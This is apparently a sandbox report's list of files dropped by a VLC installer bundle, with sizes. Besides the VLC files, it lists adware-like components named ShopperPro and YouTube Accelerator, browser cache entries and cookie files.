%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_codec.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo (23296 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_image.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\he\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_http.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\default.vlt (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\koreus.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input.h (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdC62D.tmp\LangDLL.dll (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ne\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.lib (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_stream.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_art_finder.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_network.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mtime.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white_cross_small.png (96 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\equalizer_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll (34365 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete_small.png (94 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_cpu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_keys.h (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdC62D.tmp\InstallOptions.dll (804 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo (444 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ru\LC_MESSAGES\vlc.mo (25824 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hr\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\lelombrik.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\Documentation.url (55 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll (34186 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll (16288 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo (6584 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Release Notes.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\browse_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSans.ttf (9320 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdC62D.tmp\ioSpecial.ini (10381 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\next.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_09.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc.h (15 bytes)
C:\Users\Public\Desktop\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\http.luac (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_epg.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\fullscreen.png (121 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png (95 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kmr\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll (13584 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo (12024 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\snapshot.png (206 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_acl.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\id\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_access.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\COPYING.txt (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll (15536 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sd.png (116 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_point.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\New_Skins.url (64 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\pause.png (82 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\vimeo.luac (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_player.h (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\.hosts (289 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo (12024 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\00_musicbrainz.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo (25824 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_filter.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\shuffle.png (110 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\metachannels.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Audio-48.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_bar.png (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube_homepage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll (2392 bytes)
C:\ProgramData\ShopperPro\config.json (487 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1254 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1766\config.json (767 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (487 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1766\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1766\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\database1_0_0.ej (14 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3361 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1766\database1_0_0.ej (14 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7861 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14357 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe (27818 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFCDCF.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\UNWISE.EXE (155 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (3528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKC7A4.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJC5A0.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGCDCE.tmp (93268 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCC580.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLMC9B7.tmp (12 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (10592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\e54e8c720dffffa619c3b0eacec9381a[1].png (3040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\13ca8e322e15bc394d66a37bec12e3b4[1].png (31136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\lightbox[1].js (5015 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\b85261679e262228a562f693b3e6ef6f[1].png (29424 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\jquery-ui.min[1].js (140660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\WL05NYOX.txt (91 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\4.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\f3ad8b396434c21b4c214fd667ee391d[1].png (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\13a052a6d8c62b7831aa10e2f6f37454[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\f1ed3cd0cae7a3524376e6f9369c7ab8[1].png (5984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\home[1].htm (2911 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\d586df222f5069b6c396373d67d0163b[1].png (28331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\0692c2494a7331a77c05954f79c5480a[1].png (8455 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\a6ae526a0a22dcfc743a66d44a3e09e3[1].png (31554 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\58d196b3e886a838d021adc8c8848f1e[1].png (1997 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\3.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\close[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\3YEwT2a1878zysq92S8_9w[1].eot (1831 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\00c73f6d4e4eb25289dddb86e2d1e319[1].jpg (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\b147a5a09b49b133d347bd975a4c5616[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\btn_bg[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ac5196fbf245580eee113296dff14d0b[1].png (10795 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\ddb3b88cf98eb0220c9e6c252e376749[1].png (14587 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\1759703220576e41cab39feb18a11b14[1].png (12363 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\analytics[1].js (16603 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\52d5414e7372639389ab7e9e4d479aee[1].png (25015 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\59982d8527c0da41e35817e8fc15c0fc[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\b43daeae6aca6ab7d6a00084494d81db[1].png (15228 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\7c9d412c730603d1d82b98a548a71bac[1].png (9309 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\jquery.min[1].js (52734 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\lightbox[1].css (426 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\1f8ffa22b53dfc2f6b7f1850bb6b73e8[1].png (11113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\scripts[1].js (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\567f43cb72fe3ac6419369953394cadd[1].png (47869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\4.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\product[1].css (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ace33f0a1eddf74bbe8d1bfac70deded[1].png (12355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\jquery.smooth-scroll.min[1].js (194 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\3d8bbea6bcae57d705c676f7050a7d51[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\414KB3X2.txt (225 bytes)
